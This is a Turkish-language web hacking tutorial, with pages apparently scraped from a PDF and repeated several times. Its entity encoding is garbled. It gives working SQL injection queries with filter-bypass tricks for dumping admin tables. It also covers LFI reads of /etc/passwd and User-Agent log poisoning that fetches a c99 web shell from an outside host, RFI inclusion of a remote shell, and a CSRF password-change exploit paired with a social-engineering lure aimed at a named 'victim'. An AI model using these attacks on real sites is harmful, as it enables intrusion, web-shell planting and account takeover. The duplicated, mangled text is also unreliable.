Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 38: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 39: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 40: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

